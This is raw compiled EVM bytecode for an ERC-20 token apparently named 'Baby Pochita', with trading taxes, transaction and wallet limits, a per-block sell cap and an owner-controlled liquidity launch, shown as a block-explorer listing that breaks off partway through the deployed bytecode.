000000000000000008152600401611b8f91906120d5565b60405180910390fd5b505f8385611ba69190612dee565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bea57611be9612e21565b5b604051908082528060200260200182016040528015611c185781602001602082028036833780820191505090505b50905030815f81518110611c2f57611c2e612e4e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cd3573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cf791906127a3565b81600181518110611d0b57611d0a612e4e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d713060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461105d565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dd3959493929190612f32565b5f604051808303815f87803b158015611dea575f5ffd5b505af1158015611dfc573d5f5f3e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e82573d5f5f3e3d5ffd5b5050565b5f5f8303611e96575f9050611ef7565b5f8284611ea39190612505565b9050828482611eb2919061275f565b14611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee990612ffa565b60405180910390fd5b809150505b92915050565b5f611f3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612004565b905092915050565b5f818311611f545782611f56565b815b905092915050565b5f5f8284611f6c9190612ca4565b905083811015611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa890613062565b60405180910390fd5b8091505092915050565b5f611ffc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b51565b905092915050565b5f5f8311829061204a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204191906120d5565b60405180910390fd5b505f8385612058919061275f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120a782612065565b6120b1818561206f565b93506120c181856020860161207f565b6120ca8161208d565b840191505092915050565b5f6020820190508181035f8301526120ed818461209d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612122826120f9565b9050919050565b61213281612118565b811461213c575f5ffd5b50565b5f8135905061214d81612129565b92915050565b5f819050919050565b61216581612153565b811461216f575f5ffd5b50565b5f813590506121808161215c565b92915050565b5f5f6040838503121561219c5761219b6120f5565b5b5f6121a98582860161213f565b92505060206121ba85828601612172565b9150509250929050565b5f8115159050919050565b6121d8816121c4565b82525050565b5f6020820190506121f15f8301846121cf565b92915050565b61220081612153565b82525050565b5f6020820190506122195f8301846121f7565b92915050565b5f5f5f60608486031215612236576122356120f5565b5b5f6122438682870161213f565b93505060206122548682870161213f565b925050604061226586828701612172565b9150509250925092565b5f60ff82169050919050565b6122848161226f565b82525050565b5f60208201905061229d5f83018461227b565b92915050565b5f602082840312156122b8576122b76120f5565b5b5f6122c58482850161213f565b91505092915050565b6122d781612118565b82525050565b5f6020820190506122f05f8301846122ce565b92915050565b5f6020828403121561230b5761230a6120f5565b5b5f61231884828501612172565b91505092915050565b5f5f60408385031215612337576123366120f5565b5b5f6123448582860161213f565b92505060206123558582860161213f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156123e1578086048111156123bd576123bc61235f565b5b60018516156123cc5780820291505b80810290506123da8561238c565b94506123a1565b94509492505050565b5f826123f957600190506124b4565b81612406575f90506124b4565b816001811461241c576002811461242657612455565b60019150506124b4565b60ff8411156124385761243761235f565b5b8360020a91508482111561244f5761244e61235f565b5b506124b4565b5060208310610133831016604e8410600b841016171561248a5782820a9050838111156124855761248461235f565b5b6124b4565b6124978484846001612398565b925090508184048111156124ae576124ad61235f565b5b81810290505b9392505050565b5f6124c582612153565b91506124d08361226f565b92506124fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123ea565b905092915050565b5f61250f82612153565b915061251a83612153565b925082820261252881612153565b9150828204841483151761253f5761253e61235f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61257a60208361206f565b915061258582612546565b602082019050919050565b5f6020820190508181035f8301526125a78161256e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6125e260178361206f565b91506125ed826125ae565b602082019050919050565b5f6020820190508181035f83015261260f816125d6565b9050919050565b7f424e4220616d6f756e74206d7573742062652067726561746572207468616e205f8201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b5f61267060218361206f565b915061267b82612616565b604082019050919050565b5f6020820190508181035f83015261269d81612664565b9050919050565b7f50657263656e74616765206d757374206265206265747765656e203120616e645f8201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b5f6126fe60248361206f565b9150612709826126a4565b604082019050919050565b5f6020820190508181035f83015261272b816126f2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61276982612153565b915061277483612153565b92508261278457612783612732565b5b828204905092915050565b5f8151905061279d81612129565b92915050565b5f602082840312156127b8576127b76120f5565b5b5f6127c58482850161278f565b91505092915050565b5f6040820190506127e15f8301856122ce565b6127ee60208301846122ce565b9392505050565b5f819050919050565b5f819050919050565b5f61282161281c612817846127f5565b6127fe565b612153565b9050919050565b61283181612807565b82525050565b5f60c08201905061284a5f8301896122ce565b61285760208301886121f7565b6128646040830187612828565b6128716060830186612828565b61287e60808301856122ce565b61288b60a08301846121f7565b979650505050505050565b5f815190506128a48161215c565b92915050565b5f5f5f606084860312156128c1576128c06120f5565b5b5f6128ce86828701612896565b93505060206128df86828701612896565b92505060406128f086828701612896565b9150509250925092565b5f60408201905061290d5f8301856122ce565b61291a60208301846121f7565b9392505050565b61292a816121c4565b8114612934575f5ffd5b50565b5f8151905061294581612921565b92915050565b5f602082840312156129605761295f6120f5565b5b5f61296d84828501612937565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129d060248361206f565b91506129db82612976565b604082019050919050565b5f6020820190508181035f8301526129fd816129c4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a5e60228361206f565b9150612a6982612a04565b604082019050919050565b5f6020820190508181035f830152612a8b81612a52565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aec60258361206f565b9150612af782612a92565b604082019050919050565b5f6020820190508181035f830152612b1981612ae0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b7a60238361206f565b9150612b8582612b20565b604082019050919050565b5f6020820190508181035f830152612ba781612b6e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612c0860298361206f565b9150612c1382612bae565b604082019050919050565b5f6020820190508181035f830152612c3581612bfc565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c7060198361206f565b9150612c7b82612c3c565b602082019050919050565b5f6020820190508181035f830152612c9d81612c64565b9050919050565b5f612cae82612153565b9150612cb983612153565b9250828201905080821115612cd157612cd061235f565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612d0b601a8361206f565b9150612d1682612cd7565b602082019050919050565b5f6020820190508181035f830152612d3881612cff565b9050919050565b5f612d4982612153565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d7b57612d7a61235f565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f612dba60178361206f565b9150612dc582612d86565b602082019050919050565b5f6020820190508181035f830152612de781612dae565b9050919050565b5f612df882612153565b9150612e0383612153565b9250828203905081811115612e1b57612e1a61235f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ead81612118565b82525050565b5f612ebe8383612ea4565b60208301905092915050565b5f602082019050919050565b5f612ee082612e7b565b612eea8185612e85565b9350612ef583612e95565b805f5b83811015612f25578151612f0c8882612eb3565b9750612f1783612eca565b925050600181019050612ef8565b5085935050505092915050565b5f60a082019050612f455f8301886121f7565b612f526020830187612828565b8181036040830152612f648186612ed6565b9050612f7360608301856122ce565b612f8060808301846121f7565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fe460218361206f565b9150612fef82612f8a565b604082019050919050565b5f6020820190508181035f83015261301181612fd8565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61304c601b8361206f565b915061305782613018565b602082019050919050565b5f6020820190508181035f83015261307981613040565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fda4c81a404d81938cd4e31da3ea5c8a9cac048feee7f503ba91e5e9f599267464736f6c634300081c0033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b411461037a578063a9059cbb146103a4578063bf474bed146103e0578063d16336491461040a578063dd62ed3e146104265761011e565b8063715018a6146102d0578063751039fc146102e65780637d1db4a5146102fc5780638da5cb5b146103265780638f9a55c0146103505761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce567146102185780633bbac5791461024257806351bc3c851461027e57806370a08231146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f5ffd5b34801561012d575f5ffd5b50610136610462565b60405161014391906120d5565b60405180910390f35b348015610157575f5ffd5b50610172600480360381019061016d9190612186565b61049f565b60405161017f91906121de565b60405180910390f35b348015610193575f5ffd5b5061019c6104bc565b6040516101a99190612206565b60405180910390f35b3480156101bd575f5ffd5b506101c66104c2565b6040516101d39190612206565b60405180910390f35b3480156101e7575f5ffd5b5061020260048036038101906101fd919061221f565b6104e5565b60405161020f91906121de565b60405180910390f35b348015610223575f5ffd5b5061022c6105b9565b604051610239919061228a565b60405180910390f35b34801561024d575f5ffd5b50610268600480360381019061026391906122a3565b6105c1565b60405161027591906121de565b60405180910390f35b348015610289575f5ffd5b50610292610613565b005b34801561029f575f5ffd5b506102ba60048036038101906102b591906122a3565b6106aa565b6040516102c79190612206565b60405180910390f35b3480156102db575f5ffd5b506102e46106f0565b005b3480156102f1575f5ffd5b506102fa610840565b005b348015610307575f5ffd5b50610310610970565b60405161031d9190612206565b60405180910390f35b348015610331575f5ffd5b5061033a610976565b60405161034791906122dd565b60405180910390f35b34801561035b575f5ffd5b5061036461099d565b6040516103719190612206565b60405180910390f35b348015610385575f5ffd5b5061038e6109a3565b60405161039b91906120d5565b60405180910390f35b3480156103af575f5ffd5b506103ca60048036038101906103c59190612186565b6109e0565b6040516103d791906121de565b60405180910390f35b3480156103eb575f5ffd5b506103f46109fd565b6040516104019190612206565b60405180910390f35b610424600480360381019061041f91906122f6565b610a03565b005b348015610431575f5ffd5b5061044c60048036038101906104479190612321565b610fd4565b6040516104599190612206565b60405180910390f35b60606040518060400160405280600c81526020017f4261627920506f63686974610000000000000000000000000000000000000000815250905090565b5f6104b26104ab611056565b848461105d565b6001905092915050565b60115481565b5f6009600a6104d191906124bb565b633b9aca006104e09190612505565b905090565b5f6104f1848484611220565b6105ae846104fd611056565b6105a9856040518060600160405280602881526020016130816028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610560611056565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b519092919063ffffffff16565b61105d565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610653611056565b73ffffffffffffffffffffffffffffffffffffffff1614610672575f5ffd5b5f61067c306106aa565b90505f8111156106905761068f81611bb3565b5b5f4790505f8111156106a6576106a581611e1e565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106f8611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c90612590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610848611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90612590565b60405180910390fd5b6009600a6108e391906124bb565b633b9aca006108f29190612505565b600e819055506009600a61090691906124bb565b633b9aca006109159190612505565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61094a91906124bb565b633b9aca006109599190612505565b6040516109669190612206565b60405180910390a1565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600b81526020017f42414259504f4348495441000000000000000000000000000000000000000000815250905090565b5f6109f36109ec611056565b8484611220565b6001905092915050565b60105481565b610a0b611056565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8f90612590565b60405180910390fd5b601360149054906101000a900460ff1615610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf906125f8565b60405180910390fd5b5f3411610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190612686565b60405180910390fd5b5f81118015610b3a575060648111155b610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090612714565b60405180910390fd5b73cde1e558c46b4436f7edef56d9e9ec5b4089ed3460125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c153060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c0191906124bb565b633b9aca00610c109190612505565b61105d565b5f606482610c22306106aa565b610c2c9190612505565b610c36919061275f565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc691906127a3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7091906127a3565b6040518363ffffffff1660e01b8152600401610d8d9291906127ce565b6020604051808303815f875af1158015610da9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dcd91906127a3565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610e56610976565b426040518863ffffffff1660e01b8152600401610e7896959493929190612837565b60606040518083038185885af1158015610e94573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb991906128aa565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f599291906128fa565b6020604051808303815f875af1158015610f75573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f99919061294b565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff0219169083151502179055505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c2906129e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611139576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113090612a74565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112139190612206565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612b02565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612b90565b60405180910390fd5b5f811161133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612c1e565b60405180910390fd5b5f5f905061134a610976565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113b85750611388610976565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118c55760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561145b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117255761149c606461148e600a54600d541161147b5760065461147f565b6008545b85611e8690919063ffffffff16565b611efd90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611547575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159a575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561165457600e548211156115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90612c86565b60405180910390fd5b600f54826115f1856106aa565b6115fb9190612ca4565b111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390612d21565b60405180910390fd5b600d5f81548092919061164e90612d3f565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116dc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117205761171d606461170f600b54600d54116116fc57600754611700565b6009545b85611e8690919063ffffffff16565b611efd90919063ffffffff16565b90505b61176b565b611768606461175a600b54600d541161174157620f4240611746565b620f42405b62ffffff1685611e8690919063ffffffff16565b611efd90919063ffffffff16565b90505b5f611775306106aa565b9050601360159054906101000a900460ff161580156117e0575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117f85750601360169054906101000a900460ff165b8015611805575060105481115b80156118145750600c54600d54115b156118c35760155443111561182b575f6014819055505b600360145410611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790612dd0565b60405180910390fd5b61188d6118888461188384601154611f46565b611f46565b611bb3565b5f4790505f8111156118a3576118a247611e1e565b5b60145f8154809291906118b590612d3f565b919050555043601581905550505b505b5f8111156119c45761191d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5e90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119bb9190612206565b60405180910390a35b611a148260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fbb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611aa58260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f5e90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b439190612206565b60405180910390a350505050565b5f838311158290611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f91906120d5565b60405180910390fd5b505f8385611ba69190612dee565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bea57611be9612e21565b5b604051908082528060200260200182016040528015611c185781602001602082028036833780820191505090505b50905030815f81518110611c2f57611c2e612e4e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cd3573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cf791906127a3565b81600181518110611d0b57611d0a612e4e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d713060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461105d565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dd3959493929190612f32565b5f604051808303815f87803b158015611dea575f5ffd5b505af1158015611dfc573d5f5f3e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e82573d5f5f3e3d5ffd5b5050565b5f5f8303611e96575f9050611ef7565b5f8284611ea39190612505565b9050828482611eb2919061275f565b14611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee990612ffa565b60405180910390fd5b809150505b92915050565b5f611f3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612004565b905092915050565b5f818311611f545782611f56565b815b905092915050565b5f5f8284611f6c9190612ca4565b905083811015611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa890613062565b60405180910390fd5b8091505092915050565b5f611ffc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b51565b905092915050565b5f5f8311829061204a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204191906120d5565b60405180910390fd5b505f8385612058919061275f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120a782612065565b6120b1818561206f565b93506120c181856020860161207f565b6120ca8161208d565b840191505092915050565b5f6020820190508181035f8301526120ed818461209d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612122826120f9565b9050919050565b61213281612118565b811461213c575f5ffd5b50565b5f8135905061214d81612129565b92915050565b5f819050919050565b61216581612153565b811461216f575f5ffd5b50565b5f813590506121808161215c565b92915050565b5f5f6040838503121561219c5761219b6120f5565b5b5f6121a98582860161213f565b92505060206121ba85828601612172565b9150509250929050565b5f8115159050919050565b6121d8816121c4565b82525050565b5f6020820190506121f15f8301846121cf565b92915050565b61220081612153565b82525050565b5f6020820190506122195f8301846121f7565b92915050565b5f5f5f60608486031215612236576122356120f5565b5b5f6122438682870161213f565b93505060206122548682870161213f565b925050604061226586828701612172565b9150509250925092565b5f60ff82169050919050565b6122848161226f565b82525050565b5f60208201905061229d5f83018461227b565b92915050565b5f602082840312156122b8576122b76120f5565b5b5f6122c58482850161213f565b91505092915050565b6122d781612118565b82525050565b5f6020820190506122f05f8301846122ce565b92915050565b5f6020828403121561230b5761230a6120f5565b5b5f61231884828501612172565b91505092915050565b5f5f60408385031215612337576123366120f5565b5b5f6123448582860161213f565b92505060206123558582860161213f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156123e1578086048111156123bd576123bc61235f565b5b60018516156123cc5780820291505b80810290506123da8561238c565b94506123a1565b94509492505050565b5f826123f957600190506124b4565b81612406575f90506124b4565b816001811461241c576002811461242657612455565b60019150506124b4565b60ff8411156124385761243761235f565b5b8360020a91508482111561244f5761244e61235f565b5b506124b4565b5060208310610133831016604e8410600b841016171561248a5782820a9050838111156124855761248461235f565b5b6124b4565b6124978484846001612398565b925090508184048111156124ae576124ad61235f565b5b81810290505b9392505050565b5f6124c582612153565b91506124d08361226f565b92506124fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123ea565b905092915050565b5f61250f82612153565b915061251a83612153565b925082820261252881612153565b9150828204841483151761253f5761253e61235f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61257a60208361206f565b915061258582612546565b602082019050919050565b5f6020820190508181035f8301526125a78161256e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6125e260178361206f565b91506125ed826125ae565b602082019050919050565b5f6020820190508181035f83015261260f816125d6565b9050919050565b7f424e4220616d6f756e74206d7573742062652067726561746572207468616e205f8201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b5f61267060218361206f565b915061267b82612616565b604082019050919050565b5f6020820190508181035f83015261269d81612664565b9050919050565b7f50657263656e74616765206d757374206265206265747765656e203120616e645f8201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b5f6126fe60248361206f565b9150612709826126a4565b604082019050919050565b5f6020820190508181035f83015261272b816126f2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61276982612153565b915061277483612153565b92508261278457612783612732565b5b828204905092915050565b5f8151905061279d81612129565b92915050565b5f602082840312156127b8576127b76120f5565b5b5f6127c58482850161278f565b91505092915050565b5f6040820190506127e15f8301856122ce565b6127ee60208301846122ce565b9392505050565b5f819050919050565b5f819050919050565b5f61282161281c612817846127f5565b6127fe565b612153565b9050919050565b61283181612807565b82525050565b5f60c08201905061284a5f8301896122ce565b61285760208301886121f7565b6128646040830187612828565b6128716060830186612828565b61287e60808301856122ce565b61288b60a08301846121f7565b979650505050505050565b5f815190506128a48161215c565b92915050565b5f5f5f606084860312156128c1576128c06120f5565b5b5f6128ce86828701612896565b93505060206128df86828701612896565b92505060406128f086828701612896565b9150509250925092565b5f60408201905061290d5f8301856122ce565b61291a60208301846121f7565b9392505050565b61292a816121c4565b8114612934575f5ffd5b50565b5f8151905061294581612921565b92915050565b5f602082840312156129605761295f6120f5565b5b5f61296d84828501612937565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129d060248361206f565b91506129db82612976565b604082019050919050565b5f6020820190508181035f8301526129f